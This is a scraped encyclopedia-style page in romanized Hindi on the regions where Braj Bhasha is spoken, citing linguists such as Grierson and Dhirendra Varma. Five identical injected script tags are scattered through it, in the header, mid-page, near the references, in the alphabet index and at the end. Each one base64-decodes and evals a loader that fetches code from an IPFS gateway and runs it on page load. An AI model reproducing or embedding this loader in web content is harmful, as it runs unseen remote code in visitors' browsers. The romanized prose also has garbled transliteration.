ब्रजभाषा का विस्तार

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

shuddh roop mean brajabhasha aj bhi mathura, aligadh, agara, bharatapur aur dhaulapur ziloan mean boli jati hai. brajabhasha ka kuchh mishrit roop jayapur rajy ke poorvi bhag tatha bulandashahar, mainapuri, eta, bareli aur badayooan ziloan tak bola jata hai. griryasan mahoday ne apane bhasha sarve mean pilibhit, shahajahaanpur, pharrookhabad, haradoee, itava tatha kanapur ki boli ko kannauji nam diya hai, kintu vastav mean yahaan ki boli mainapuri, eta bareli aur badayooan ki boli se bhinn nahian haian. adhik se adhik ham in sab ziloan ki boli ko 'poorvi braj' kah sakate haian. sach to yah hai ki, bundelakhand ki bundeli boli bhi brajabhasha ka hi rupantaran hai. bundeli 'dakshini braj' kahala sakati hai.[1] d aau. gulabaray ke anusar- "brajabhasha ka kshetr nimn prakar hai- mathura, agara, aligadh ziloan ko kendr manakar uttar mean yah almo da, nainital aur bijanaur ziloan tak phaili hai. dakshin mean dhaulapur, gvaliyar tak, poorv mean kannauj aur kanapur ziloan tak, pashchim mean bharatapur aur gudagaanv ziloan tak isaki sima hai.

bhashayi sarvekshan tatha any anuveshanoan ke adhar par shrikrishnadatt vajapeyi ne brajabhasha - bhashi kshetr nimnalikhit hai- mathura zila, rajasthan ka bharatapur zila tatha karauli ka uttari aansh jo bharatapur evan dhaulapur ki simaoan se mila-jula hai. sampoorn dhaulapur zila, madhy bharat mean muraina se bhind zile aur gird gvaliyar ka lagabhag 26 akshaansh se oopar ka uttari bhag (yahaan ki brajaboli mean buandeli ki jhalak hai), sampoorn agara zila, itava zile ka pashchimi bhag (lagabhag itava shahar ki sidh deshantar 79 tak), mainapuri zila tatha eta zila (poorv ke kuchh aanshoan ko chho dakar, jo farrukhabad zile ki sima se mile-jule hai), aligadh zila (uttar poorv mean ganga nadi ki sima tak), bulandashahar ka dakshini adha bhag (poorv mean anoopashahar ki sidh se lekar), gu dagaanv zile ka dakshini aansh, (palaval ki sidh se) tatha alavar zile ka poorvi bhag, jo gudagaanv zile ki dakshini tatha bharatapur ki pashchimi sima se mila-jula hai.[2]

bhashayi braj ke sambandh mean bhashavidh d aau. dhirendr varma ne likha hai- apane vishuddh roop mean brajabhasha aj bhi agara, dhaulapur, mathura aur aligadh ziloan mean boli jati hai. ise ham keandriy brajabhasha ke nam se bhi pukar sakate haian. keandriy brajabhasha kshetr ke uttar pashchim ki or bulandashahar zile ki uttari patti se isamean kh di boli ki latak ane lagati hai. uttari-poorvi ziloan arthath badayooan aur eta ziloan mean is par kannauji ka prabhav praranbh ho jata hai. d aau. dhireandr varma, kannauji ko brajabhasha ka hi ek roop manate haian. dakshin ki or gvaliyar mean pahuanchakar isamean buandeli ki jhalak ane lagati hai. pashchim ki or gu dagaanv tatha bharatapur ka kshetr rajasthani se prabhavit hai. vartaman samay mean brajabhasha ek gramin bhasha hai, jo mathura-agara kendrit brajakshetr mean boli jati hai. yah nimn ziloan ki pradhan bhasha hai:

ganga par badayooan, bareli, nainital ki taraee se hote hue uttarakhand mean udhamasianh nagar aur rajasthan ke bharatapur, dhaulapur, karauli aur pashchimi rajasthan, hariyana ke pharidabad, gu dagaanv, dilli ke kuchh bhag aur mevat ziloan ke poorvi bhag mean brajabhasha ka prabhav hai.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tika tippani aur sandarbh

  1. brajabhasha vyakaran, (pratham sanskaran 1937 ee.) pri. 13
  2. vajapeyi, ke. di., braj ka itihas pratham khand, pratham sanskaran, 1955 ee., pri. 3-4

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>